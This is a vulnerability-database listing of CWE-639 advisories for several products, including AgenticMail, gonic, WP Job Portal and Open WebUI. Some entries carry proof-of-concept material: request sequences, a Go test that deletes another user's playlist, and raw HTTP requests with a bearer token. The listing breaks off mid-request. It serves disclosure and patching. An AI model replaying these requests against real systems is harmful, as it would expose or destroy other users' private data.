Common Weakness Enumeration

CWE-639

Allowed

Authorization Bypass Through User-Controlled Key

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

3273 vulnerabilities reference this CWE, most recent first.

GHSA-HJHX-MR4R-6J6J

Vulnerability from github – Published: 2024-11-04 15:31 – Updated: 2024-11-22 12:39
VLAI
Details

This vulnerability exists in the Wave 2.0 due to missing authorization check on certain API endpoints. An authenticated remote attacker could exploit this vulnerability by manipulating a parameter “user_id” through API request URLs which could lead to unauthorized creation, modification and deletion of alerts belonging to other user accounts.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-51559"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-04T13:17:05Z",
    "severity": "HIGH"
  },
  "details": "This vulnerability exists in the Wave 2.0\u00a0due\u00a0to missing authorization check on certain API endpoints. An authenticated remote attacker could exploit this vulnerability by manipulating a parameter \u201cuser_id\u201d through API request URLs which could lead to unauthorized creation, modification and deletion of alerts belonging to other user accounts.",
  "id": "GHSA-hjhx-mr4r-6j6j",
  "modified": "2024-11-22T12:39:08Z",
  "published": "2024-11-04T15:31:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51559"
    },
    {
      "type": "WEB",
      "url": "https://www.cert-in.org.in/s2cMainServlet?pageid=PUBVLNOTES01\u0026VLCODE=CIVN-2024-0332"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-HJV3-73X3-FW6V

Vulnerability from github – Published: 2025-12-16 09:31 – Updated: 2026-01-20 15:32
VLAI
Details

Authorization Bypass Through User-Controlled Key vulnerability in g5theme Essential Real Estate essential-real-estate allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Essential Real Estate: from n/a through <= 5.2.2.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-68071"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-16T09:16:02Z",
    "severity": "MODERATE"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in g5theme Essential Real Estate essential-real-estate allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Essential Real Estate: from n/a through \u003c= 5.2.2.",
  "id": "GHSA-hjv3-73x3-fw6v",
  "modified": "2026-01-20T15:32:17Z",
  "published": "2025-12-16T09:31:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68071"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/essential-real-estate/vulnerability/wordpress-essential-real-estate-plugin-5-2-2-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Plugin/essential-real-estate/vulnerability/wordpress-essential-real-estate-plugin-5-2-2-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HJWC-26PJ-V3PM

Vulnerability from github – Published: 2026-06-18 17:20 – Updated: 2026-07-20 22:00
VLAI
Summary
AgenticMail: Cross-agent task authorization bypass in AgenticMail API
Details

Summary

A low-privileged authenticated AgenticMail agent can enumerate another agent's pending/claimed tasks by supplying the target agent name to GET /api/agenticmail/tasks/pending?assignee=<name>. The returned task objects include the task IDs and payloads. The same task IDs can then be used with the capability-style task mutation endpoints (/tasks/:id/claim, /tasks/:id/result, /tasks/:id/complete, /tasks/:id/fail) to claim, complete, or fail tasks assigned to a different agent.

Because ordinary authenticated agents can discover agent names through GET /api/agenticmail/accounts/directory, the task ID effectively stops being a secret capability. This turns the intended capability model into a cross-agent authorization bypass.

Affected component

Package: @agenticmail/api Observed version: 0.9.62 Repository: agenticmail/agenticmail

Relevant code paths:

  • packages/api/src/app.ts: createAuthMiddleware(...) is mounted before createAccountRoutes(...) and createTaskRoutes(...), so these routes are reachable by any valid bearer token.
  • packages/api/src/routes/accounts.ts: GET /accounts/directory is available to any authenticated user and returns agent names.
  • packages/api/src/routes/tasks.ts: GET /tasks/pending?assignee=name resolves arbitrary agent names and returns that agent's pending/claimed tasks.
  • packages/api/src/routes/tasks.ts: /tasks/:id/claim, /tasks/:id/result, /tasks/:id/complete, /tasks/:id/fail, and /tasks/:id do not check whether the authenticated caller is the task assignee, assigner, or otherwise authorized for the task.

Impact

An attacker only needs a valid agent API key. They can:

  1. List agent names using /accounts/directory.
  2. Query another agent's task queue using /tasks/pending?assignee=<victimName>.
  3. Read sensitive task payloads intended for the victim agent.
  4. Use the disclosed task ID to complete/fail/claim the victim's task or submit attacker-controlled results.

Local reproduction

I reproduced this locally with a focused Vitest test mounted directly on createTaskRoutes. The test creates two agents, Alice and Bob, and one pending task assigned to Bob. Alice authenticates with her own agent key and performs the following sequence:

  1. GET /api/agenticmail/tasks/pending?assignee=Bob with Authorization: Bearer ak_alice.
  2. The response is HTTP 200 and includes Bob's task ID and payload: task-for-bob, { "task": "secret task intended for Bob" }.
  3. Alice then sends POST /api/agenticmail/tasks/task-for-bob/complete with her own bearer token and an attacker-controlled result.
  4. The task status becomes completed and the stored result is controlled by Alice.

The local verification command was:

npm run test --workspace=@agenticmail/api -- task-routes-authz.test.ts

Result:

PASS src/__tests__/task-routes-authz.test.ts (1 test)

Expected behavior

Task listing and task mutation endpoints should enforce an authorization relationship between the authenticated caller and the task. For example:

  • GET /tasks/pending?assignee=<name> should either be restricted to the current agent, master/admin callers, or an explicit delegated relationship.
  • /tasks/:id/claim, /tasks/:id/result, /tasks/:id/complete, /tasks/:id/fail, and /tasks/:id should verify that the caller is the assignee, assigner, master/admin, or otherwise explicitly authorized.
  • If capability-based task IDs are retained, the API should not expose those IDs to unrelated agents through the assignee-name listing path.

Credit

Please credit the finder as: Yaohui Wang

Severity
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@agenticmail/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.64"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57494"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T17:20:55Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA low-privileged authenticated AgenticMail agent can enumerate another agent\u0027s pending/claimed tasks by supplying the target agent name to `GET /api/agenticmail/tasks/pending?assignee=\u003cname\u003e`. The returned task objects include the task IDs and payloads. The same task IDs can then be used with the capability-style task mutation endpoints (`/tasks/:id/claim`, `/tasks/:id/result`, `/tasks/:id/complete`, `/tasks/:id/fail`) to claim, complete, or fail tasks assigned to a different agent.\n\nBecause ordinary authenticated agents can discover agent names through `GET /api/agenticmail/accounts/directory`, the task ID effectively stops being a secret capability. This turns the intended capability model into a cross-agent authorization bypass.\n\n## Affected component\n\nPackage: `@agenticmail/api`\nObserved version: `0.9.62`\nRepository: `agenticmail/agenticmail`\n\nRelevant code paths:\n\n- `packages/api/src/app.ts`: `createAuthMiddleware(...)` is mounted before `createAccountRoutes(...)` and `createTaskRoutes(...)`, so these routes are reachable by any valid bearer token.\n- `packages/api/src/routes/accounts.ts`: `GET /accounts/directory` is available to any authenticated user and returns agent names.\n- `packages/api/src/routes/tasks.ts`: `GET /tasks/pending?assignee=name` resolves arbitrary agent names and returns that agent\u0027s pending/claimed tasks.\n- `packages/api/src/routes/tasks.ts`: `/tasks/:id/claim`, `/tasks/:id/result`, `/tasks/:id/complete`, `/tasks/:id/fail`, and `/tasks/:id` do not check whether the authenticated caller is the task assignee, assigner, or otherwise authorized for the task.\n\n## Impact\n\nAn attacker only needs a valid agent API key. They can:\n\n1. List agent names using `/accounts/directory`.\n2. Query another agent\u0027s task queue using `/tasks/pending?assignee=\u003cvictimName\u003e`.\n3. Read sensitive task payloads intended for the victim agent.\n4. Use the disclosed task ID to complete/fail/claim the victim\u0027s task or submit attacker-controlled results.\n\n## Local reproduction\n\nI reproduced this locally with a focused Vitest test mounted directly on `createTaskRoutes`. The test creates two agents, Alice and Bob, and one pending task assigned to Bob. Alice authenticates with her own agent key and performs the following sequence:\n\n1. `GET /api/agenticmail/tasks/pending?assignee=Bob` with `Authorization: Bearer ak_alice`.\n2. The response is HTTP 200 and includes Bob\u0027s task ID and payload: `task-for-bob`, `{ \"task\": \"secret task intended for Bob\" }`.\n3. Alice then sends `POST /api/agenticmail/tasks/task-for-bob/complete` with her own bearer token and an attacker-controlled result.\n4. The task status becomes `completed` and the stored result is controlled by Alice.\n\nThe local verification command was:\n\n```bash\nnpm run test --workspace=@agenticmail/api -- task-routes-authz.test.ts\n```\n\nResult:\n\n```text\nPASS src/__tests__/task-routes-authz.test.ts (1 test)\n```\n\n## Expected behavior\n\nTask listing and task mutation endpoints should enforce an authorization relationship between the authenticated caller and the task. For example:\n\n- `GET /tasks/pending?assignee=\u003cname\u003e` should either be restricted to the current agent, master/admin callers, or an explicit delegated relationship.\n- `/tasks/:id/claim`, `/tasks/:id/result`, `/tasks/:id/complete`, `/tasks/:id/fail`, and `/tasks/:id` should verify that the caller is the assignee, assigner, master/admin, or otherwise explicitly authorized.\n- If capability-based task IDs are retained, the API should not expose those IDs to unrelated agents through the assignee-name listing path.\n\n## Credit\n\nPlease credit the finder as: Yaohui Wang",
  "id": "GHSA-hjwc-26pj-v3pm",
  "modified": "2026-07-20T22:00:53Z",
  "published": "2026-06-18T17:20:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/agenticmail/agenticmail/security/advisories/GHSA-hjwc-26pj-v3pm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/agenticmail/agenticmail"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "AgenticMail: Cross-agent task authorization bypass in AgenticMail API"
}

GHSA-HJX4-GHXM-XPJ2

Vulnerability from github – Published: 2022-05-24 17:36 – Updated: 2022-05-24 17:36
VLAI
Details

In tangro Business Workflow before 1.18.1, knowing an attachment ID, it is possible to download workitem attachments without being authenticated.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-26178"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-18T10:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In tangro Business Workflow before 1.18.1, knowing an attachment ID, it is possible to download workitem attachments without being authenticated.",
  "id": "GHSA-hjx4-ghxm-xpj2",
  "modified": "2022-05-24T17:36:54Z",
  "published": "2022-05-24T17:36:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26178"
    },
    {
      "type": "WEB",
      "url": "https://blog.to.com/advisory-tangro-bwf-1-17-5-multiple-vulnerabilities"
    },
    {
      "type": "WEB",
      "url": "https://www.tangro.de"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-HM89-GQR5-28V6

Vulnerability from github – Published: 2022-05-24 16:49 – Updated: 2024-04-04 01:13
VLAI
Details

An authorization bypass vulnerability in pinboard updates in ThoughtSpot 4.4.1 through 5.1.1 (before 5.1.2) allows a low-privilege user with write access to at least one pinboard to corrupt pinboards of another user in the application by spoofing GUIDs in pinboard update requests, effectively deleting them.

Severity
8.1 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-12782"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-07-09T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "An authorization bypass vulnerability in pinboard updates in ThoughtSpot 4.4.1 through 5.1.1 (before 5.1.2) allows a low-privilege user with write access to at least one pinboard to corrupt pinboards of another user in the application by spoofing GUIDs in pinboard update requests, effectively deleting them.",
  "id": "GHSA-hm89-gqr5-28v6",
  "modified": "2024-04-04T01:13:12Z",
  "published": "2022-05-24T16:49:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12782"
    },
    {
      "type": "WEB",
      "url": "https://docs.thoughtspot.com/5.1/release/notes.html"
    },
    {
      "type": "WEB",
      "url": "https://www.vsecurity.com/download/advisories/201912782-1.txt"
    },
    {
      "type": "WEB",
      "url": "https://www.vsecurity.com/resources/advisories.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HMGP-W9JM-VP95

Vulnerability from github – Published: 2026-06-26 23:33 – Updated: 2026-06-26 23:33
VLAI
Summary
Subsonic API: any authenticated user can delete or read any other user's playlist (IDOR)
Details

Summary

In gonic, the Subsonic API endpoints /rest/deletePlaylist.view and /rest/getPlaylist.view perform no per-resource authorization. Once authenticated as any user (admin or not), an attacker can:

  1. Delete any playlist owned by any other user (including admin) by passing its id.
  2. Read the full contents (name, comment, song list) of any other user's private (non-public) playlist by passing its id.

The Subsonic playlist id is base64url("<userID>/<filename>.m3u"). Because filenames are user-supplied or time-derived and the userID is a small integer, IDs are guessable and frequently exposed (e.g. a previously-public playlist that was later made private still has the same ID).

This breaks the multi-user trust boundary of gonic: a low-privileged user can wipe an administrator's curated playlists, and a user can exfiltrate any private playlist they obtain an ID for.

Status

This was originally disclosed to the maintainer by email and has been fixed in commit 6dd71e6a3c966867ef8c900d359a7df75789f410 (fix(subsonic): enforce playlist ownership on getPlaylist/deletePlaylist, 2026-05-18). The fix has not yet been included in a tagged release; the latest tagged version v0.20.1 is still vulnerable. Filing this advisory now that private vulnerability reporting is enabled on the repo, so the issue has a public record once the next release ships.

Vulnerable code (pre-fix, at v0.20.1 / commit 37090aa7)

Delete IDOR — server/ctrlsubsonic/handlers_playlist.go lines 177-187:

func (c *Controller) ServeDeletePlaylist(r *http.Request) *spec.Response {
    params := r.Context().Value(CtxParams).(params.Params)
    playlistID, err := params.GetFirstID("id", "playlistId")
    if err != nil {
        return spec.NewError(10, "please provide an `id` or `playlistId` parameter")
    }
    if err := c.playlistStore.Delete(playlistIDDecode(playlistID)); err != nil {
        return spec.NewError(0, "delete playlist: %v", err)
    }
    return spec.NewResponse()
}

The handler never loads the playlist to check playlist.UserID == user.ID. Compare to ServeUpdatePlaylist (same file, line 138) which does perform this check.

Read IDOR — server/ctrlsubsonic/handlers_playlist.go lines 51-68:

func (c *Controller) ServeGetPlaylist(r *http.Request) *spec.Response {
    params := r.Context().Value(CtxParams).(params.Params)
    playlistID, err := params.GetFirstID("id", "playlistId")
    if err != nil {
        return spec.NewError(10, "please provide an `id` parameter")
    }
    playlist, err := c.playlistStore.Read(playlistIDDecode(playlistID))
    if err != nil {
        return spec.NewError(70, "playlist with id %s not found", playlistID)
    }
    // ... never checks playlist.UserID or playlist.IsPublic ...
    sub.Playlist = rendered
    return sub
}

The listing endpoint ServeGetPlaylists (line 38) correctly filters by playlist.UserID != user.ID && !playlist.IsPublic, but the singular getPlaylist did not.

Live PoC (passing Go test)

A reproducer against the existing test fixture (server/ctrlsubsonic):

func TestIDOR_DeleteOtherUsersPlaylist(t *testing.T) {
    f := newFixture(t)
    victimRelPath := filepath.Join("1", "victim-private.m3u")
    _ = f.contr.playlistStore.Write(victimRelPath, &playlistp.Playlist{
        UserID: f.admin.ID, Name: "victim-private", IsPublic: false,
        Items: []string{"/music/foo.flac"},
    })
    victimID := playlistIDEncode(victimRelPath).String()
    // f.alt is a non-admin, non-owner user
    body := f.query(t, f.contr.ServeDeletePlaylist, f.alt, url.Values{"id": {victimID}})
    // Subsonic returns status="ok" and the file is gone.
}

Test output:

--- PASS: TestIDOR_ReadOtherUsersPrivatePlaylist (0.07s)
--- PASS: TestIDOR_DeleteOtherUsersPlaylist (0.07s)
PASS
ok  go.senan.xyz/gonic/server/ctrlsubsonic 0.730s

Equivalent HTTP request

GET /rest/deletePlaylist.view?u=lowpriv&p=lowpriv&v=1&c=poc&f=json&id=cGwtMS1zaGFyZWQubTN1

Response: {"subsonic-response":{"status":"ok","version":"..."}} — playlist is gone.

Impact

  • Integrity / Availability: low-privileged users can delete any other user's playlists, including admin's curated lists. There is no undo.
  • Confidentiality: private playlists (including their comment fields) are readable by any authenticated user with an ID. IDs are predictable (base64("<smallUserID>/<name>.m3u")) and previously-public IDs persist after being marked private.
  • Trust boundary: gonic supports multiple users (createUser, non-admin role). This bug collapsed the user-to-user authorization model.

Affected versions

Latest tagged release v0.20.1 and all prior versions back to when the playlist M3U store was introduced. Master HEAD is fixed at commit 6dd71e6a3c966867ef8c900d359a7df75789f410.

Suggested patch (applied by maintainer in 6dd71e6)

Load the playlist first and enforce ownership in both handlers:

// ServeGetPlaylist
if playlist.UserID != user.ID && !playlist.IsPublic {
    return spec.NewError(50, "you aren't allowed to read that user's playlist")
}

// ServeDeletePlaylist
if playlist.UserID != 0 && playlist.UserID != user.ID {
    return spec.NewError(50, "you aren't allowed to delete that user's playlist")
}

This mirrors the existing ownership check already present in ServeCreateOrUpdatePlaylist (line 84) and ServeUpdatePlaylist (line 138).

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.20.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "go.senan.xyz/gonic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49338"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T23:33:24Z",
    "nvd_published_at": "2026-06-19T19:16:36Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nIn gonic, the Subsonic API endpoints `/rest/deletePlaylist.view` and `/rest/getPlaylist.view` perform no per-resource authorization. Once authenticated as *any* user (admin or not), an attacker can:\n\n1. **Delete any playlist owned by any other user** (including admin) by passing its `id`.\n2. **Read the full contents** (name, comment, song list) of any other user\u0027s **private** (non-public) playlist by passing its `id`.\n\nThe Subsonic playlist `id` is `base64url(\"\u003cuserID\u003e/\u003cfilename\u003e.m3u\")`. Because filenames are user-supplied or time-derived and the `userID` is a small integer, IDs are guessable and frequently exposed (e.g. a previously-public playlist that was later made private still has the same ID).\n\nThis breaks the multi-user trust boundary of gonic: a low-privileged user can wipe an administrator\u0027s curated playlists, and a user can exfiltrate any private playlist they obtain an ID for.\n\n## Status\n\nThis was originally disclosed to the maintainer by email and has been **fixed in commit `6dd71e6a3c966867ef8c900d359a7df75789f410`** (`fix(subsonic): enforce playlist ownership on getPlaylist/deletePlaylist`, 2026-05-18). The fix has not yet been included in a tagged release; the latest tagged version `v0.20.1` is still vulnerable. Filing this advisory now that private vulnerability reporting is enabled on the repo, so the issue has a public record once the next release ships.\n\n## Vulnerable code (pre-fix, at `v0.20.1` / commit `37090aa7`)\n\n**Delete IDOR** \u2014 `server/ctrlsubsonic/handlers_playlist.go` lines 177-187:\n\n```go\nfunc (c *Controller) ServeDeletePlaylist(r *http.Request) *spec.Response {\n    params := r.Context().Value(CtxParams).(params.Params)\n    playlistID, err := params.GetFirstID(\"id\", \"playlistId\")\n    if err != nil {\n        return spec.NewError(10, \"please provide an `id` or `playlistId` parameter\")\n    }\n    if err := c.playlistStore.Delete(playlistIDDecode(playlistID)); err != nil {\n        return spec.NewError(0, \"delete playlist: %v\", err)\n    }\n    return spec.NewResponse()\n}\n```\n\nThe handler never loads the playlist to check `playlist.UserID == user.ID`. Compare to `ServeUpdatePlaylist` (same file, line 138) which *does* perform this check.\n\n**Read IDOR** \u2014 `server/ctrlsubsonic/handlers_playlist.go` lines 51-68:\n\n```go\nfunc (c *Controller) ServeGetPlaylist(r *http.Request) *spec.Response {\n    params := r.Context().Value(CtxParams).(params.Params)\n    playlistID, err := params.GetFirstID(\"id\", \"playlistId\")\n    if err != nil {\n        return spec.NewError(10, \"please provide an `id` parameter\")\n    }\n    playlist, err := c.playlistStore.Read(playlistIDDecode(playlistID))\n    if err != nil {\n        return spec.NewError(70, \"playlist with id %s not found\", playlistID)\n    }\n    // ... never checks playlist.UserID or playlist.IsPublic ...\n    sub.Playlist = rendered\n    return sub\n}\n```\n\nThe listing endpoint `ServeGetPlaylists` (line 38) correctly filters by `playlist.UserID != user.ID \u0026\u0026 !playlist.IsPublic`, but the singular `getPlaylist` did not.\n\n## Live PoC (passing Go test)\n\nA reproducer against the existing test fixture (`server/ctrlsubsonic`):\n\n```go\nfunc TestIDOR_DeleteOtherUsersPlaylist(t *testing.T) {\n    f := newFixture(t)\n    victimRelPath := filepath.Join(\"1\", \"victim-private.m3u\")\n    _ = f.contr.playlistStore.Write(victimRelPath, \u0026playlistp.Playlist{\n        UserID: f.admin.ID, Name: \"victim-private\", IsPublic: false,\n        Items: []string{\"/music/foo.flac\"},\n    })\n    victimID := playlistIDEncode(victimRelPath).String()\n    // f.alt is a non-admin, non-owner user\n    body := f.query(t, f.contr.ServeDeletePlaylist, f.alt, url.Values{\"id\": {victimID}})\n    // Subsonic returns status=\"ok\" and the file is gone.\n}\n```\n\nTest output:\n\n```\n--- PASS: TestIDOR_ReadOtherUsersPrivatePlaylist (0.07s)\n--- PASS: TestIDOR_DeleteOtherUsersPlaylist (0.07s)\nPASS\nok  go.senan.xyz/gonic/server/ctrlsubsonic 0.730s\n```\n\n## Equivalent HTTP request\n\n```\nGET /rest/deletePlaylist.view?u=lowpriv\u0026p=lowpriv\u0026v=1\u0026c=poc\u0026f=json\u0026id=cGwtMS1zaGFyZWQubTN1\n```\n\nResponse: `{\"subsonic-response\":{\"status\":\"ok\",\"version\":\"...\"}}` \u2014 playlist is gone.\n\n## Impact\n\n- **Integrity / Availability**: low-privileged users can delete any other user\u0027s playlists, including admin\u0027s curated lists. There is no undo.\n- **Confidentiality**: private playlists (including their comment fields) are readable by any authenticated user with an ID. IDs are predictable (`base64(\"\u003csmallUserID\u003e/\u003cname\u003e.m3u\")`) and previously-public IDs persist after being marked private.\n- **Trust boundary**: gonic supports multiple users (`createUser`, non-admin role). This bug collapsed the user-to-user authorization model.\n\n## Affected versions\n\nLatest tagged release `v0.20.1` and all prior versions back to when the playlist M3U store was introduced. Master HEAD is fixed at commit `6dd71e6a3c966867ef8c900d359a7df75789f410`.\n\n## Suggested patch (applied by maintainer in `6dd71e6`)\n\nLoad the playlist first and enforce ownership in both handlers:\n\n```go\n// ServeGetPlaylist\nif playlist.UserID != user.ID \u0026\u0026 !playlist.IsPublic {\n    return spec.NewError(50, \"you aren\u0027t allowed to read that user\u0027s playlist\")\n}\n\n// ServeDeletePlaylist\nif playlist.UserID != 0 \u0026\u0026 playlist.UserID != user.ID {\n    return spec.NewError(50, \"you aren\u0027t allowed to delete that user\u0027s playlist\")\n}\n```\n\nThis mirrors the existing ownership check already present in `ServeCreateOrUpdatePlaylist` (line 84) and `ServeUpdatePlaylist` (line 138).\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).",
  "id": "GHSA-hmgp-w9jm-vp95",
  "modified": "2026-06-26T23:33:25Z",
  "published": "2026-06-26T23:33:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sentriz/gonic/security/advisories/GHSA-hmgp-w9jm-vp95"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49338"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sentriz/gonic/commit/6dd71e6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sentriz/gonic"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Subsonic API: any authenticated user can delete or read any other user\u0027s playlist (IDOR)"
}

GHSA-HMHM-79RP-32P2

Vulnerability from github – Published: 2025-02-01 09:30 – Updated: 2025-02-01 09:30
VLAI
Details

The WP Job Portal – A Complete Recruitment System for Company or Job Board website plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.2.6 via the enforcedelete() function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Employer-level access and above, to delete other users companies.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-13425"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-01T08:15:09Z",
    "severity": "MODERATE"
  },
  "details": "The WP Job Portal \u2013 A Complete Recruitment System for Company or Job Board website plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.2.6 via the enforcedelete() function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Employer-level access and above, to delete other users companies.",
  "id": "GHSA-hmhm-79rp-32p2",
  "modified": "2025-02-01T09:30:28Z",
  "published": "2025-02-01T09:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13425"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3229608/wp-job-portal/tags/2.2.7/modules/company/controller.php?old=3216415\u0026old_path=wp-job-portal%2Ftags%2F2.2.6%2Fmodules%2Fcompany%2Fcontroller.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a14e110f-0850-44f4-8de3-95a654096ae8?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HMJQ-CRXP-7RJW

Vulnerability from github – Published: 2026-05-11 14:25 – Updated: 2026-05-19 15:57
VLAI
Summary
Open WebUI has inconsistent authorization controls within memories API
Details

Summary

Authorization controls surrounding the memories API were inconsistent, resulting in the ability of a standard user to delete, restore, and view the contents of other users' memories.

Details

Using a newly created non-admin user with no existing memories, it is possible to view existing memories via POST /api/v1/memories/query. See below under the PoC section, where a call to GET /api/v1/memories/ returns [] (as expected) but a call to POST /api/v1/memories/query reveals memories created by other users.

Similarly, even if a non-admin user cannot modify another user's memory data via POST /api/v1/memories/{memory_id}/update, the endpoint's response improperly leaks the content of that memory if a valid memory_id is known.

The DELETE /api/v1/memories/{memory_id} can also be used by any user to delete an existing memory. Deleted memories can then be restored by calling the POST /api/v1/memories/{memory_id}/update endpoint again.

PoC 1

Example of a user with no memories able to query an existing memory from another user

GET /api/v1/memories/ HTTP/1.1
Host: localhost:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
Accept: application/json
Content-Type: application/json
Connection: keep-alive
Content-Length: 0

---

HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:19:58 GMT
server: uvicorn
content-length: 2
content-type: application/json
x-process-time: 0

[]

POST /api/v1/memories/query HTTP/1.1
Host: localhost:8080
Content-Length: 19
